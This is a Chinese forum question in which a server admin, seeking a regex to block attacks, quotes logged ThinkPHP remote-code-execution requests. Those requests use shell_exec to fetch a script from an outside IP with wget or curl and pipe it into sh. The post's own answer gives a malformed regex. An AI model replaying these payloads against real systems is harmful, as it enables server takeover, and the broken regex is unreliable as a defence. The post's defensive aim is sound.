安全:最近服务器被攻击了,求大家帮写一段正则

如题,最近服务器被攻击了,检查发现很多这样的请求,我正则不好,求各路大神帮忙写段正则表达式,进行匹配

1、请求1:
/index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20-q%20-O%20-%2082.146.58.234/p2.sh|sh

2、请求2:
/index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl%2082.146.58.234/p2.sh|sh

3、请求3:
\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr


小弟在此谢过了。也在也顺便问候下山东威海2019年1月6日,IP地址为27.203.3.136,以及现在IP地址为180.97.172.9的江苏无锡用户家人安好。

主要匹配上述连接中只要包含function或exec字样即可。两个关键词是或(||)的关系,不是和(&&)的关系。

阅读 10.5k
2 个回答

没人写,算了还是我自己写吧。把问题完成。
其实上述攻击主要针对的是thinkphp的远程代码执行漏洞进行的攻击。应对方法最起码是4种。
正则表达式:

\[function|exec|sh]$

剩下那个cookie没啥用,就不匹配了。

撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进
宣传栏